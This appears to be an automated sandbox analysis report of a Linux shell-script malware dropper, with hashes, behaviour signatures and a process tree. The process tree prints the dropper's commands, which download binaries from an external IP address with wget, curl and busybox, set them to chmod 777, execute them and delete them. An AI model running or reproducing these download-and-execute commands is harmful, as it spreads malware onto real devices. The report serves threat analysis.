Analysis

  • max time kernel
    24s
  • max time network
    40s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    01-11-2024 02:28

General

  • Target

    1defa97bcc61fa80063c805f11d2bf73e79909cdba0baa2df21f2df1abaa033e.sh

  • Size

    10KB

  • MD5

    95086b1594ecb8d1d6f260c45e28a21c

  • SHA1

    21511d843b85530f6b864ac7f71c20f01f1166b8

  • SHA256

    1defa97bcc61fa80063c805f11d2bf73e79909cdba0baa2df21f2df1abaa033e

  • SHA512

    757577fa6a5246c8ffe2cd896cf521257e0d3ccb384b4ebfc254716190bf903f7e3fc20c81237da47e0a2d020a9089e1a892c67f4876f89e6b78e09be3a72233

  • SSDEEP

    96:N+2fK+qBBAtH4hHiRNonwem5y44fvopFA3/tSFppKEh0yiRNonwefO4fvopFbQ3l:r4hHe15y4g00y0J4l

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Checks CPU configuration 1 TTPs 15 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 30 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/1defa97bcc61fa80063c805f11d2bf73e79909cdba0baa2df21f2df1abaa033e.sh
    /tmp/1defa97bcc61fa80063c805f11d2bf73e79909cdba0baa2df21f2df1abaa033e.sh
    1⤵
      PID:643
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:645
        • /usr/bin/wget
          wget http://87.120.84.230/bins/sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl
          2⤵
            PID:647
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:670
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl
            2⤵
              PID:673
            • /bin/chmod
              chmod 777 sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl
              2⤵
              • File and Directory Permissions Modification
              PID:674
            • /tmp/sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl
              ./sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl
              2⤵
              • Executes dropped EXE
              PID:675
            • /bin/rm
              rm sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl
              2⤵
                PID:676
              • /usr/bin/wget
                wget http://87.120.84.230/bins/V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu
                2⤵
                  PID:677
                • /usr/bin/curl
                  curl -O http://87.120.84.230/bins/V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:678
                • /bin/busybox
                  /bin/busybox wget http://87.120.84.230/bins/V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu
                  2⤵
                    PID:685
                  • /bin/chmod
                    chmod 777 V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu
                    2⤵
                    • File and Directory Permissions Modification
                    PID:690
                  • /tmp/V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu
                    ./V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu
                    2⤵
                    • Executes dropped EXE
                    PID:691
                  • /bin/rm
                    rm V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu
                    2⤵
                      PID:692
                    • /usr/bin/wget
                      wget http://87.120.84.230/bins/rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48
                      2⤵
                        PID:694
                      • /usr/bin/curl
                        curl -O http://87.120.84.230/bins/rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:700
                      • /bin/busybox
                        /bin/busybox wget http://87.120.84.230/bins/rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48
                        2⤵
                          PID:706
                        • /bin/chmod
                          chmod 777 rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48
                          2⤵
                          • File and Directory Permissions Modification
                          PID:711
                        • /tmp/rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48
                          ./rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48
                          2⤵
                          • Executes dropped EXE
                          PID:713
                        • /bin/rm
                          rm rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48
                          2⤵
                            PID:714
                          • /usr/bin/wget
                            wget http://87.120.84.230/bins/kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq
                            2⤵
                              PID:715
                            • /usr/bin/curl
                              curl -O http://87.120.84.230/bins/kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:722
                            • /bin/busybox
                              /bin/busybox wget http://87.120.84.230/bins/kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq
                              2⤵
                                PID:731
                              • /bin/chmod
                                chmod 777 kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq
                                2⤵
                                • File and Directory Permissions Modification
                                PID:736
                              • /tmp/kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq
                                ./kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq
                                2⤵
                                • Executes dropped EXE
                                PID:737
                              • /bin/rm
                                rm kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq
                                2⤵
                                  PID:738
                                • /usr/bin/wget
                                  wget http://87.120.84.230/bins/47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt
                                  2⤵
                                    PID:739
                                  • /usr/bin/curl
                                    curl -O http://87.120.84.230/bins/47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:741
                                  • /bin/busybox
                                    /bin/busybox wget http://87.120.84.230/bins/47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt
                                    2⤵
                                      PID:744
                                    • /bin/chmod
                                      chmod 777 47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:747
                                    • /tmp/47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt
                                      ./47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt
                                      2⤵
                                      • Executes dropped EXE
                                      PID:748
                                    • /bin/rm
                                      rm 47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt
                                      2⤵
                                        PID:750
                                      • /usr/bin/wget
                                        wget http://87.120.84.230/bins/9KtuwmIyCu2831WrZTg35YWBSba74CicDw
                                        2⤵
                                          PID:751
                                        • /usr/bin/curl
                                          curl -O http://87.120.84.230/bins/9KtuwmIyCu2831WrZTg35YWBSba74CicDw
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:757
                                        • /bin/busybox
                                          /bin/busybox wget http://87.120.84.230/bins/9KtuwmIyCu2831WrZTg35YWBSba74CicDw
                                          2⤵
                                            PID:764
                                          • /bin/chmod
                                            chmod 777 9KtuwmIyCu2831WrZTg35YWBSba74CicDw
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:769
                                          • /tmp/9KtuwmIyCu2831WrZTg35YWBSba74CicDw
                                            ./9KtuwmIyCu2831WrZTg35YWBSba74CicDw
                                            2⤵
                                            • Executes dropped EXE
                                            PID:771
                                          • /bin/rm
                                            rm 9KtuwmIyCu2831WrZTg35YWBSba74CicDw
                                            2⤵
                                              PID:772
                                            • /usr/bin/wget
                                              wget http://87.120.84.230/bins/JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx
                                              2⤵
                                                PID:774
                                              • /usr/bin/curl
                                                curl -O http://87.120.84.230/bins/JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:779
                                              • /bin/busybox
                                                /bin/busybox wget http://87.120.84.230/bins/JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx
                                                2⤵
                                                  PID:786
                                                • /bin/chmod
                                                  chmod 777 JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:787
                                                • /tmp/JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx
                                                  ./JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:788
                                                • /bin/rm
                                                  rm JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx
                                                  2⤵
                                                    PID:789
                                                  • /usr/bin/wget
                                                    wget http://87.120.84.230/bins/mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N
                                                    2⤵
                                                      PID:790
                                                    • /usr/bin/curl
                                                      curl -O http://87.120.84.230/bins/mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N
                                                      2⤵
                                                      • Checks CPU configuration
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:791
                                                    • /bin/busybox
                                                      /bin/busybox wget http://87.120.84.230/bins/mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N
                                                      2⤵
                                                        PID:792
                                                      • /bin/chmod
                                                        chmod 777 mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:793
                                                      • /tmp/mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N
                                                        ./mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N
                                                        2⤵
                                                        • Executes dropped EXE
                                                        PID:794
                                                      • /bin/rm
                                                        rm mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N
                                                        2⤵
                                                          PID:795
                                                        • /usr/bin/wget
                                                          wget http://87.120.84.230/bins/5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
                                                          2⤵
                                                            PID:796
                                                          • /usr/bin/curl
                                                            curl -O http://87.120.84.230/bins/5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
                                                            2⤵
                                                            • Checks CPU configuration
                                                            • Reads runtime system information
                                                            • Writes file to tmp directory
                                                            PID:797
                                                          • /bin/busybox
                                                            /bin/busybox wget http://87.120.84.230/bins/5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
                                                            2⤵
                                                              PID:798
                                                            • /bin/chmod
                                                              chmod 777 5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:799
                                                            • /tmp/5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
                                                              ./5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
                                                              2⤵
                                                              • Executes dropped EXE
                                                              PID:800
                                                            • /bin/rm
                                                              rm 5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
                                                              2⤵
                                                                PID:801
                                                              • /usr/bin/wget
                                                                wget http://87.120.84.230/bins/kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf
                                                                2⤵
                                                                  PID:802
                                                                • /usr/bin/curl
                                                                  curl -O http://87.120.84.230/bins/kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf
                                                                  2⤵
                                                                  • Checks CPU configuration
                                                                  • Reads runtime system information
                                                                  • Writes file to tmp directory
                                                                  PID:803
                                                                • /bin/busybox
                                                                  /bin/busybox wget http://87.120.84.230/bins/kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf
                                                                  2⤵
                                                                    PID:804
                                                                  • /bin/chmod
                                                                    chmod 777 kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:805
                                                                  • /tmp/kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf
                                                                    ./kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf
                                                                    2⤵
                                                                    • Executes dropped EXE
                                                                    PID:806
                                                                  • /bin/rm
                                                                    rm kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf
                                                                    2⤵
                                                                      PID:807
                                                                    • /usr/bin/wget
                                                                      wget http://87.120.84.230/bins/hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x
                                                                      2⤵
                                                                        PID:808
                                                                      • /usr/bin/curl
                                                                        curl -O http://87.120.84.230/bins/hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x
                                                                        2⤵
                                                                        • Checks CPU configuration
                                                                        • Reads runtime system information
                                                                        • Writes file to tmp directory
                                                                        PID:809
                                                                      • /bin/busybox
                                                                        /bin/busybox wget http://87.120.84.230/bins/hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x
                                                                        2⤵
                                                                          PID:810
                                                                        • /bin/chmod
                                                                          chmod 777 hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x
                                                                          2⤵
                                                                          • File and Directory Permissions Modification
                                                                          PID:811
                                                                        • /tmp/hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x
                                                                          ./hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x
                                                                          2⤵
                                                                          • Executes dropped EXE
                                                                          PID:812
                                                                        • /bin/rm
                                                                          rm hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x
                                                                          2⤵
                                                                            PID:813
                                                                          • /usr/bin/wget
                                                                            wget http://87.120.84.230/bins/GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY
                                                                            2⤵
                                                                              PID:814
                                                                            • /usr/bin/curl
                                                                              curl -O http://87.120.84.230/bins/GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY
                                                                              2⤵
                                                                              • Checks CPU configuration
                                                                              • Reads runtime system information
                                                                              • Writes file to tmp directory
                                                                              PID:815
                                                                            • /bin/busybox
                                                                              /bin/busybox wget http://87.120.84.230/bins/GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY
                                                                              2⤵
                                                                                PID:816
                                                                              • /bin/chmod
                                                                                chmod 777 GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY
                                                                                2⤵
                                                                                • File and Directory Permissions Modification
                                                                                PID:817
                                                                              • /tmp/GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY
                                                                                ./GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY
                                                                                2⤵
                                                                                • Executes dropped EXE
                                                                                PID:818
                                                                              • /bin/rm
                                                                                rm GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY
                                                                                2⤵
                                                                                  PID:819
                                                                                • /usr/bin/wget
                                                                                  wget http://87.120.84.230/bins/RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2
                                                                                  2⤵
                                                                                    PID:820
                                                                                  • /usr/bin/curl
                                                                                    curl -O http://87.120.84.230/bins/RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2
                                                                                    2⤵
                                                                                    • Checks CPU configuration
                                                                                    • Reads runtime system information
                                                                                    • Writes file to tmp directory
                                                                                    PID:821
                                                                                  • /bin/busybox
                                                                                    /bin/busybox wget http://87.120.84.230/bins/RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2
                                                                                    2⤵
                                                                                      PID:822
                                                                                    • /bin/chmod
                                                                                      chmod 777 RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2
                                                                                      2⤵
                                                                                      • File and Directory Permissions Modification
                                                                                      PID:823
                                                                                    • /tmp/RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2
                                                                                      ./RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2
                                                                                      2⤵
                                                                                      • Executes dropped EXE
                                                                                      PID:824
                                                                                    • /bin/rm
                                                                                      rm RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2
                                                                                      2⤵
                                                                                        PID:825
                                                                                      • /usr/bin/wget
                                                                                        wget http://87.120.84.230/bins/gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf
                                                                                        2⤵
                                                                                          PID:826
                                                                                        • /usr/bin/curl
                                                                                          curl -O http://87.120.84.230/bins/gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf
                                                                                          2⤵
                                                                                          • Checks CPU configuration
                                                                                          • Reads runtime system information
                                                                                          • Writes file to tmp directory
                                                                                          PID:828
                                                                                        • /bin/busybox
                                                                                          /bin/busybox wget http://87.120.84.230/bins/gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf
                                                                                          2⤵
                                                                                            PID:830
                                                                                          • /bin/chmod
                                                                                            chmod 777 gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf
                                                                                            2⤵
                                                                                            • File and Directory Permissions Modification
                                                                                            PID:831
                                                                                          • /tmp/gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf
                                                                                            ./gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf
                                                                                            2⤵
                                                                                            • Executes dropped EXE
                                                                                            PID:832
                                                                                          • /bin/rm
                                                                                            rm gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf
                                                                                            2⤵
                                                                                              PID:833
                                                                                            • /usr/bin/wget
                                                                                              wget http://87.120.84.230/bins/5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
                                                                                              2⤵
                                                                                                PID:834
                                                                                              • /usr/bin/curl
                                                                                                curl -O http://87.120.84.230/bins/5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
                                                                                                2⤵
                                                                                                • Checks CPU configuration
                                                                                                • Reads runtime system information
                                                                                                • Writes file to tmp directory
                                                                                                PID:835
                                                                                              • /bin/busybox
                                                                                                /bin/busybox wget http://87.120.84.230/bins/5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
                                                                                                2⤵
                                                                                                  PID:836
                                                                                                • /bin/chmod
                                                                                                  chmod 777 5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
                                                                                                  2⤵
                                                                                                  • File and Directory Permissions Modification
                                                                                                  PID:837
                                                                                                • /tmp/5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
                                                                                                  ./5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
                                                                                                  2⤵
                                                                                                  • Executes dropped EXE
                                                                                                  PID:838
                                                                                                • /bin/rm
                                                                                                  rm 5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
                                                                                                  2⤵
                                                                                                    PID:839
                                                                                                  • /usr/bin/wget
                                                                                                    wget http://87.120.84.230/bins/kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf
                                                                                                    2⤵
                                                                                                      PID:840

                                                                                                  Network

                                                                                                  MITRE ATT&CK Enterprise v15

                                                                                                  Replay Monitor

                                                                                                  Loading Replay Monitor...

                                                                                                  Downloads

                                                                                                  • /tmp/sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl

                                                                                                    Filesize

                                                                                                    153B

                                                                                                    MD5

                                                                                                    998368d7c95ea4293237f2320546e440

                                                                                                    SHA1

                                                                                                    30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

                                                                                                    SHA256

                                                                                                    533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

                                                                                                    SHA512

                                                                                                    648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97

                                                                                                  • memory/791-1-0xb670f000-0xb6720044-memory.dmp